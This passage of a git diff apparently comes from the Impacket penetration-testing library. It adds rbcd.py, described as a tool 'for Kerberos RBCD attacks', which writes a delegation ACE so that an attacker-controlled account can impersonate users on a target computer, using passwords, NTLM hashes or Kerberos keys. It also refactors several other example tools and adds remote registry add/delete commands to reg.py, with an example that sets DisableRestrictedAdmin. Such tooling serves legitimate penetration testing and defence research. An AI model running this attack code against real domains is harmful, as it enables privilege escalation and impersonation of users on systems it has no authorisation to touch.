seq_set(authenticator, 'cname', userName.components_to_asn1) + now = datetime.datetime.utcnow() + + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 11 + # AP-REQ Authenticator (includes application authenticator + # subkey), encrypted with the application session key + # (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + blob['MechToken'] = encoder.encode(apReq) + + request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', + blob.getData()) + + # Done with the Kerberos saga, now let's get into LDAP + if connection.closed: # try to open connection if closed + connection.open(read_server_info=False) + + connection.sasl_in_progress = True + response = connection.post_send_single_response(connection.send('bindRequest', request, None)) + connection.sasl_in_progress = False + if response[0]['result'] != 0: + raise Exception(response) + + connection.bound = True + + return True + + +def create_empty_sd(): + sd = ldaptypes.SR_SECURITY_DESCRIPTOR() + sd['Revision'] = b'\x01' + sd['Sbz1'] = b'\x00' + sd['Control'] = 32772 + sd['OwnerSid'] = ldaptypes.LDAP_SID() + # BUILTIN\Administrators + sd['OwnerSid'].fromCanonical('S-1-5-32-544') + sd['GroupSid'] = b'' + sd['Sacl'] = b'' + acl = ldaptypes.ACL() + acl['AclRevision'] = 4 + acl['Sbz1'] = 0 + acl['Sbz2'] = 0 + acl.aces = [] + sd['Dacl'] = acl + return sd + + +# Create an ALLOW ACE with the specified sid +def create_allow_ace(sid): + nace = ldaptypes.ACE() + nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE + nace['AceFlags'] = 0x00 + acedata = ldaptypes.ACCESS_ALLOWED_ACE() + acedata['Mask'] = ldaptypes.ACCESS_MASK() + acedata['Mask']['Mask'] = 983551 # Full control + acedata['Sid'] = ldaptypes.LDAP_SID() + acedata['Sid'].fromCanonical(sid) + nace['Ace'] = acedata + return nace + + +class RBCD(object): + """docstring for setrbcd""" + + def __init__(self, ldap_server, ldap_session, delegate_to): + super(RBCD, self).__init__() + self.ldap_server = ldap_server + self.ldap_session = ldap_session + self.delegate_from = None + self.delegate_to = delegate_to + self.SID_delegate_from = None + self.DN_delegate_to = None + logging.debug('Initializing domainDumper()') + cnf = ldapdomaindump.domainDumpConfig() + cnf.basepath = None + self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) + + def read(self): + # Get target computer DN + result = self.get_user_info(self.delegate_to) + if not result: + logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') + return + self.DN_delegate_to = result[0] + + # Get list of allowed to act + self.get_allowed_to_act() + + return + + def write(self, delegate_from): + self.delegate_from = delegate_from + + # Get escalate user sid + result = self.get_user_info(self.delegate_from) + if not result: + logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)') + return + self.SID_delegate_from = str(result[1]) + + # Get target computer DN + result = self.get_user_info(self.delegate_to) + if not result: + logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') + return + self.DN_delegate_to = result[0] + + # Get list of allowed to act and build security descriptor including previous data + sd, targetuser = self.get_allowed_to_act() + + # writing only if SID not already in list + if self.SID_delegate_from not in [ ace['Ace']['Sid'].formatCanonical() for ace in sd['Dacl'].aces ]: + sd['Dacl'].aces.append(create_allow_ace(self.SID_delegate_from)) + self.ldap_session.modify(targetuser['dn'], + {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, + [sd.getData()]]}) + if self.ldap_session.result['result'] == 0: + logging.info('Delegation rights modified successfully!') + logging.info('%s can now impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to) + else: + if self.ldap_session.result['result'] == 50: + logging.error('Could not modify object, the server reports insufficient rights: %s', + self.ldap_session.result['message']) + elif self.ldap_session.result['result'] == 19: + logging.error('Could not modify object, the server reports a constrained violation: %s', + self.ldap_session.result['message']) + else: + logging.error('The server returned an error: %s', self.ldap_session.result['message']) + else: + logging.info('%s can already impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to) + logging.info('Not modifying the delegation rights.') + # Get list of allowed to act + self.get_allowed_to_act() + return + + def remove(self, delegate_from): + self.delegate_from = delegate_from + + # Get escalate user sid + result = self.get_user_info(self.delegate_from) + if not result: + logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)') + return + self.SID_delegate_from = str(result[1]) + + # Get target computer DN + result = self.get_user_info(self.delegate_to) + if not result: + logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') + return + self.DN_delegate_to = result[0] + + # Get list of allowed to act and build security descriptor including that data + sd, targetuser = self.get_allowed_to_act() + + # Remove the entries where SID match the given -delegate-from + sd['Dacl'].aces = [ace for ace in sd['Dacl'].aces if self.SID_delegate_from != ace['Ace']['Sid'].formatCanonical()] + self.ldap_session.modify(targetuser['dn'], + {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]]}) + + if self.ldap_session.result['result'] == 0: + logging.info('Delegation rights modified successfully!') + else: + if self.ldap_session.result['result'] == 50: + logging.error('Could not modify object, the server reports insufficient rights: %s', + self.ldap_session.result['message']) + elif self.ldap_session.result['result'] == 19: + logging.error('Could not modify object, the server reports a constrained violation: %s', + self.ldap_session.result['message']) + else: + logging.error('The server returned an error: %s', self.ldap_session.result['message']) + # Get list of allowed to act + self.get_allowed_to_act() + return + + def flush(self): + # Get target computer DN + result = self.get_user_info(self.delegate_to) + if not result: + logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') + return + self.DN_delegate_to = result[0] + + # Get list of allowed to act + sd, targetuser = self.get_allowed_to_act() + + self.ldap_session.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, []]}) + if self.ldap_session.result['result'] == 0: + logging.info('Delegation rights flushed successfully!') + else: + if self.ldap_session.result['result'] == 50: + logging.error('Could not modify object, the server reports insufficient rights: %s', + self.ldap_session.result['message']) + elif self.ldap_session.result['result'] == 19: + logging.error('Could not modify object, the server reports a constrained violation: %s', + self.ldap_session.result['message']) + else: + logging.error('The server returned an error: %s', self.ldap_session.result['message']) + # Get list of allowed to act + self.get_allowed_to_act() + return + + def get_allowed_to_act(self): + # Get target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute + self.ldap_session.search(self.DN_delegate_to, '(objectClass=*)', search_scope=ldap3.BASE, + attributes=['SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) + targetuser = None + for entry in self.ldap_session.response: + if entry['type'] != 'searchResEntry': + continue + targetuser = entry + if not targetuser: + logging.error('Could not query target user properties') + return + + try: + sd = ldaptypes.SR_SECURITY_DESCRIPTOR( + data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) + if len(sd['Dacl'].aces) > 0: + logging.info('Accounts allowed to act on behalf of other identity:') + for ace in sd['Dacl'].aces: + SID = ace['Ace']['Sid'].formatCanonical() + SamAccountName = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())[1] + logging.info(' %-10s (%s)' % (SamAccountName, SID)) + else: + logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty') + except IndexError: + logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty') + # Create DACL manually + sd = create_empty_sd() + return sd, targetuser + + def get_user_info(self, samname): + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) + try: + dn = self.ldap_session.entries[0].entry_dn + sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + return dn, sid + except IndexError: + logging.error('User not found in LDAP: %s' % samname) + return False + + def get_sid_info(self, sid): + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % escape_filter_chars(sid), attributes=['samaccountname']) + try: + dn = self.ldap_session.entries[0].entry_dn + samname = self.ldap_session.entries[0]['samaccountname'] + return dn, samname + except IndexError: + logging.error('SID not found in LDAP: %s' % sid) + return False + +def parse_args(): + parser = argparse.ArgumentParser(add_help=True, + description='Python (re)setter for property msDS-AllowedToActOnBehalfOfOtherIdentity for Kerberos RBCD attacks.') + parser.add_argument('identity', action='store', help='domain.local/username[:password]') + parser.add_argument("-delegate-to", type=str, required=True, + help="Target computer account the attacker has at least WriteProperty to") + parser.add_argument("-delegate-from", type=str, required=False, + help="Attacker controlled machine account to write on the msDS-Allo[...] property (only when using `-action write`)") + parser.add_argument('-action', choices=['read', 'write', 'remove', 'flush'], nargs='?', default='read', + help='Action to operate on msDS-AllowedToActOnBehalfOfOtherIdentity') + + parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') + + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", + help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If ' + 'omitted it will use the domain part (FQDN) specified in ' + 'the identity parameter') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + return parser.parse_args() + + +def parse_identity(args): + domain, username, password = utils.parse_credentials(args.identity) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: + from getpass import getpass + logging.info("No credentials supplied, supply password") + password = getpass("Password:") + + if args.aesKey is not None: + args.k = True + + if args.hashes is not None: + lmhash, nthash = args.hashes.split(':') + else: + lmhash = '' + nthash = '' + + return domain, username, password, lmhash, nthash + + +def init_logger(args): + # Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + +def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): + user = '%s\\%s' % (domain, username) + if tls_version is not None: + use_ssl = True + port = 636 + tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) + else: + use_ssl = False + port = 389 + tls = None + ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) + if args.k: + ldap_session = ldap3.Connection(ldap_server) + ldap_session.bind() + ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) + elif args.hashes is not None: + ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) + else: + ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) + + return ldap_server, ldap_session + + +def init_ldap_session(args, domain, username, password, lmhash, nthash): + if args.k: + target = get_machine_name(args, domain) + else: + if args.dc_ip is not None: + target = args.dc_ip + else: + target = domain + + if args.use_ldaps is True: + try: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) + except ldap3.core.exceptions.LDAPSocketOpenError: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) + else: + return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) + + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + + if args.action == 'write' and args.delegate_from is None: + logging.critical('`-delegate-from` should be specified when using `-action write` !') + sys.exit(1) + + domain, username, password, lmhash, nthash = parse_identity(args) + if len(nthash) > 0 and lmhash == "": + lmhash = "aad3b435b51404eeaad3b435b51404ee" + + try: + ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) + rbcd = RBCD(ldap_server, ldap_session, args.delegate_to) + if args.action == 'read': + rbcd.read() + elif args.action == 'write': + rbcd.write(args.delegate_from) + elif args.action == 'remove': + rbcd.remove(args.delegate_from) + elif args.action == 'flush': + rbcd.flush() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.error(str(e)) + + +if __name__ == '__main__': + main() diff --git a/examples/rdp_check.py b/examples/rdp_check.py index 5309214d01..1137173d5f 100755 --- a/examples/rdp_check.py +++ b/examples/rdp_check.py @@ -1,25 +1,29 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # +# Description: +# [MS-RDPBCGR] and [MS-CREDSSP] partial implementation +# just to reach CredSSP auth. This example test whether +# an account is valid on the target host. +# # Author: # Alberto Solino (@agsolino) # -# Description: [MS-RDPBCGR] and [MS-CREDSSP] partial implementation -# just to reach CredSSP auth. This example test whether -# an account is valid on the target host. -# # ToDo: -# [x] Manage to grab the server's SSL key so we can finalize the whole +# [x] Manage to grab the server's SSL key so we can finalize the whole # authentication process (check [MS-CSSP] section 3.1.5) # from struct import pack, unpack from impacket.examples import logger +from impacket.examples.utils import parse_target from impacket.structure import Structure from impacket.spnego import GSSAPI, ASN1_SEQUENCE, ASN1_OCTET_STRING, asn1decode, asn1encode @@ -558,13 +562,7 @@ def check_rdp(host, username, password, domain, hashes = None): options = parser.parse_args() - import re - domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') - - #In case the password contains '@' - if '@' in address: - password = password + '@' + address.rpartition('@')[0] - address = address.rpartition('@')[2] + domain, username, password, address = parse_target(options.target) if domain is None: domain = '' diff --git a/examples/reg.py b/examples/reg.py index ae595c0062..59767477dd 100755 --- a/examples/reg.py +++ b/examples/reg.py @@ -1,22 +1,31 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Description: Remote registry manipulation tool. -# The idea is to provide similar functionality as the REG.EXE Windows utility. +# Description: +# Remote registry manipulation tool. +# The idea is to provide similar functionality as the REG.EXE Windows utility. # -# e.g: -# ./reg.py Administrator:password@targetMachine query -keyName HKLM\\Software\\Microsoft\\WBEM -s +# e.g: +# ./reg.py Administrator:password@targetMachine query -keyName HKLM\\Software\\Microsoft\\WBEM -s +# ./reg.py Administrator:password@targetMachine add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa -v DisableRestrictedAdmin -vt REG_DWORD -vd 1 +# ./reg.py Administrator:password@targetMachine add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Services\\NewService +# ./reg.py Administrator:password@targetMachine add -keyName HKCR\\hlpfile\\DefaultIcon -v '' -vd '\\SMBRelay\share' +# ./reg.py Administrator:password@targetMachine delete -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa -v DisableRestrictedAdmin # # Author: -# Manuel Porto (@manuporto) -# Alberto Solino (@agsolino) +# Manuel Porto (@manuporto) +# Alberto Solino (@agsolino) # -# Reference for: [MS-RRP] +# Reference for: +# [MS-RRP] # + from __future__ import division from __future__ import print_function import argparse @@ -29,9 +38,11 @@ from impacket import version from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt from impacket.examples import logger +from impacket.examples.utils import parse_target from impacket.system_errors import ERROR_NO_MORE_ITEMS from impacket.structure import hexdump from impacket.smbconnection import SMBConnection +from impacket.dcerpc.v5.dtypes import READ_CONTROL class RemoteOperations: @@ -170,6 +181,10 @@ def run(self, remoteName, remoteHost): if self.__action == 'QUERY': self.query(dce, self.__options.keyName) + elif self.__action == 'ADD': + self.add(dce, self.__options.keyName) + elif self.__action == 'DELETE': + self.delete(dce, self.__options.keyName) else: logging.error('Method %s not implemented yet!' % self.__action) except (Exception, KeyboardInterrupt) as e: @@ -181,23 +196,7 @@ def run(self, remoteName, remoteHost): self.__remoteOps.finish() def query(self, dce, keyName): - # Let's strip the root key - try: - rootKey = keyName.split('\\')[0] - subKey = '\\'.join(keyName.split('\\')[1:]) - except Exception: - raise Exception('Error parsing keyName %s' % keyName) - - if rootKey.upper() == 'HKLM': - ans = rrp.hOpenLocalMachine(dce) - elif rootKey.upper() == 'HKU': - ans = rrp.hOpenCurrentUser(dce) - elif rootKey.upper() == 'HKCR': - ans = rrp.hOpenClassesRoot(dce) - else: - raise Exception('Invalid root key %s ' % rootKey) - - hRootKey = ans['phKey'] + hRootKey, subKey = self.__strip_root_key(dce, keyName) ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) @@ -226,6 +225,187 @@ def query(self, dce, keyName): # ans5 = rrp.hBaseRegGetVersion(rpc, ans2['phkResult']) # ans3 = rrp.hBaseRegEnumKey(rpc, ans2['phkResult'], 0) + def add(self, dce, keyName): + hRootKey, subKey = self.__strip_root_key(dce, keyName) + + # READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to KEY_WRITE (0x20006) + if self.__options.v is None: # Try to create subkey + subKeyCreate = subKey + subKey = '\\'.join(subKey.split('\\')[:-1]) + + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, + samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) + + # Should I use ans2? + + ans3 = rrp.hBaseRegCreateKey( + dce, hRootKey, subKeyCreate, + samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY + ) + if ans3['ErrorCode'] == 0: + print('Successfully set subkey %s' % ( + keyName + )) + else: + print('Error 0x%08x while creating subkey %s' % ( + ans3['ErrorCode'], keyName + )) + + else: # Try to set value of key + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, + samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) + + + dwType = getattr(rrp, self.__options.vt, None) + + if dwType is None or not self.__options.vt.startswith('REG_'): + raise Exception('Error parsing value type %s' % self.__options.vt) + + #Fix (?) for packValue function + if dwType in ( + rrp.REG_DWORD, rrp.REG_DWORD_BIG_ENDIAN, rrp.REG_DWORD_LITTLE_ENDIAN, + rrp.REG_QWORD, rrp.REG_QWORD_LITTLE_ENDIAN + ): + valueData = int(self.__options.vd) + else: + valueData = self.__options.vd + + ans3 = rrp.hBaseRegSetValue( + dce, ans2['phkResult'], self.__options.v, dwType, valueData + ) + + if ans3['ErrorCode'] == 0: + print('Successfully set key %s\\%s of type %s to value %s' % ( + keyName, self.__options.v, self.__options.vt, valueData + )) + else: + print('Error 0x%08x while setting key %s\\%s of type %s to value %s' % ( + ans3['ErrorCode'], keyName, self.__options.v, self.__options.vt, valueData + )) + + def delete(self, dce, keyName): + hRootKey, subKey = self.__strip_root_key(dce, keyName) + + # READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to KEY_WRITE (0x20006) + if self.__options.v is None and not self.__options.va and not self.__options.ve: # Try to delete subkey + subKeyDelete = subKey + subKey = '\\'.join(subKey.split('\\')[:-1]) + + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, + samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) + + # Should I use ans2? + try: + ans3 = rrp.hBaseRegDeleteKey( + dce, hRootKey, subKeyDelete, + ) + except rpcrt.DCERPCException as e: + if e.error_code == 5: + #TODO: Check if DCERPCException appears only because of existing subkeys + print('Cannot delete key %s. Possibly it contains subkeys or insufficient privileges' % keyName) + return + else: + raise + except Exception as e: + logging.error('Unhandled exception while hBaseRegDeleteKey') + return + + if ans3['ErrorCode'] == 0: + print('Successfully deleted subkey %s' % ( + keyName + )) + else: + print('Error 0x%08x while deleting subkey %s' % ( + ans3['ErrorCode'], keyName + )) + + elif self.__options.v: # Delete single value + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, + samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) + + ans3 = rrp.hBaseRegDeleteValue( + dce, ans2['phkResult'], self.__options.v + ) + + if ans3['ErrorCode'] == 0: + print('Successfully deleted key %s\\%s' % ( + keyName, self.__options.v + )) + else: + print('Error 0x%08x while deleting key %s\\%s' % ( + ans3['ErrorCode'], keyName, self.__options.v + )) + + elif self.__options.ve: + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, + samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) + + ans3 = rrp.hBaseRegDeleteValue( + dce, ans2['phkResult'], '' + ) + + if ans3['ErrorCode'] == 0: + print('Successfully deleted value %s\\%s' % ( + keyName, 'Default' + )) + else: + print('Error 0x%08x while deleting value %s\\%s' % ( + ans3['ErrorCode'], keyName, self.__options.v + )) + + elif self.__options.va: + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, + samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS) + i = 0 + allSubKeys = [] + while True: + try: + ans3 = rrp.hBaseRegEnumValue(dce, ans2['phkResult'], i) + lp_value_name = ans3['lpValueNameOut'][:-1] + allSubKeys.append(lp_value_name) + i += 1 + except rrp.DCERPCSessionError as e: + if e.get_error_code() == ERROR_NO_MORE_ITEMS: + break + + ans4 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, + samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS) + for subKey in allSubKeys: + try: + ans5 = rrp.hBaseRegDeleteValue( + dce, ans4['phkResult'], subKey + ) + if ans5['ErrorCode'] == 0: + print('Successfully deleted value %s\\%s' % ( + keyName, subKey + )) + else: + print('Error 0x%08x in deletion of value %s\\%s' % ( + ans5['ErrorCode'], keyName, subKey + )) + except Exception as e: + print('Unhandled error %s in deletion of value %s\\%s' % ( + str(e), keyName, subKey + )) + + def __strip_root_key(self, dce, keyName): + # Let's strip the root key + try: + rootKey = keyName.split('\\')[0] + subKey = '\\'.join(keyName.split('\\')[1:]) + except Exception: + raise Exception('Error parsing keyName %s' % keyName) + if rootKey.upper() == 'HKLM': + ans = rrp.hOpenLocalMachine(dce) + elif rootKey.upper() == 'HKU': + ans = rrp.hOpenCurrentUser(dce) + elif rootKey.upper() == 'HKCR': + ans = rrp.hOpenClassesRoot(dce) + else: + raise Exception('Invalid root key %s ' % rootKey) + hRootKey = ans['phKey'] + return hRootKey, subKey + def __print_key_values(self, rpc, keyHandler): i = 0 while True: @@ -324,7 +504,7 @@ def __parse_lp_data(valueType, valueData): query_parser.add_argument('-keyName', action='store', required=True, help='Specifies the full path of the subkey. The ' 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' - ' HKU.') + ' HKU, HKCR.') query_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' 'value name that is to be queried. If omitted, all value names for keyName are returned. ') query_parser.add_argument('-ve', action='store_true', default=False, required=False, help='Queries for the default ' @@ -333,10 +513,30 @@ def __parse_lp_data(valueType, valueData): 'names recursively.') # An add command - # add_parser = subparsers.add_parser('add', help='Adds a new subkey or entry to the registry') + add_parser = subparsers.add_parser('add', help='Adds a new subkey or entry to the registry') + add_parser.add_argument('-keyName', action='store', required=True, + help='Specifies the full path of the subkey. The ' + 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' + ' HKU, HKCR.') + add_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' + 'value name that is to be set.') + add_parser.add_argument('-vt', action='store', metavar="VALUETYPE", required=False, help='Specifies the registry ' + 'type name that is to be set. Default is REG_SZ. Valid types are: REG_NONE, REG_SZ, REG_EXPAND_SZ, ' + 'REG_BINARY, REG_DWORD, REG_DWORD_BIG_ENDIAN, REG_LINK, REG_MULTI_SZ, REG_QWORD', + default='REG_SZ') + add_parser.add_argument('-vd', action='store', metavar="VALUEDATA", required=False, help='Specifies the registry ' + 'value data that is to be set.', default='') # An delete command - # delete_parser = subparsers.add_parser('delete', help='Deletes a subkey or entries from the registry') + delete_parser = subparsers.add_parser('delete', help='Deletes a subkey or entries from the registry') + delete_parser.add_argument('-keyName', action='store', required=True, + help='Specifies the full path of the subkey. The ' + 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' + ' HKU, HKCR.') + delete_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' + 'value name that is to be deleted.') + delete_parser.add_argument('-va', action='store_true', required=False, help='Delete all values under this key.') + delete_parser.add_argument('-ve', action='store_true', required=False, help='Delete the value of empty value name (Default).') # A copy command # copy_parser = subparsers.add_parser('copy', help='Copies a registry entry to a specified location in the remote ' @@ -401,15 +601,7 @@ def __parse_lp_data(valueType, valueData): else: logging.getLogger().setLevel(logging.INFO) - import re - - domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - options.target).groups('') - - # In case the password contains '@' - if '@' in remoteName: - password = password + '@' + remoteName.rpartition('@')[0] - remoteName = remoteName.rpartition('@')[2] + domain, username, password, remoteName = parse_target(options.target) if options.target_ip is None: options.target_ip = remoteName diff --git a/examples/registry-read.py b/examples/registry-read.py index 9179c21f35..8f7de8f79f 100755 --- a/examples/registry-read.py +++ b/examples/registry-read.py @@ -1,17 +1,22 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) +# Description: +# A Windows Registry Reader Example # -# Description: A Windows Registry Reader Example +# Author: +# Alberto Solino (@agsolino) # # Reference for: -# winregistry.py +# winregistry.py # + from __future__ import division from __future__ import print_function import sys diff --git a/examples/rpcdump.py b/examples/rpcdump.py index b77cad701c..37322e046e 100755 --- a/examples/rpcdump.py +++ b/examples/rpcdump.py @@ -1,18 +1,22 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# DCE/RPC endpoint mapper dumper. +# Description: +# DCE/RPC endpoint mapper dumper. # # Author: -# Javier Kohen -# Alberto Solino +# Javier Kohen +# Alberto Solino (@agsolino) # # Reference for: -# DCE/RPC. +# DCE/RPC. +# from __future__ import division from __future__ import print_function @@ -22,6 +26,7 @@ from impacket.http import AUTH_NTLM from impacket.examples import logger +from impacket.examples.utils import parse_target from impacket import uuid, version from impacket.dcerpc.v5 import transport, epm from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \ @@ -192,13 +197,7 @@ def __fetchList(self, rpctransport): else: logging.getLogger().setLevel(logging.INFO) - import re - domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') - - #In case the password contains '@' - if '@' in remoteName: - password = password + '@' + remoteName.rpartition('@')[0] - remoteName = remoteName.rpartition('@')[2] + domain, username, password, remoteName = parse_target(options.target) if domain is None: domain = '' diff --git a/examples/rpcmap.py b/examples/rpcmap.py index 6588332e50..a8b5e8cd16 100755 --- a/examples/rpcmap.py +++ b/examples/rpcmap.py @@ -1,24 +1,27 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Scan for listening MSRPC interfaces +# Description: +# Scan for listening MSRPC interfaces # -# This binds to the MGMT interface and gets a list of interface UUIDs. -# If the MGMT interface is not available, it takes a list of interface UUIDs -# seen in the wild and tries to bind to each interface. +# This binds to the MGMT interface and gets a list of interface UUIDs. +# If the MGMT interface is not available, it takes a list of interface UUIDs +# seen in the wild and tries to bind to each interface. # -# If -brute-opnums is specified, the script tries to call each of the first N -# operation numbers for each UUID in turn and reports the outcome of each call. +# If -brute-opnums is specified, the script tries to call each of the first N +# operation numbers for each UUID in turn and reports the outcome of each call. # -# This can generate a burst of connections to the given endpoint! +# This can generate a burst of connections to the given endpoint! # # 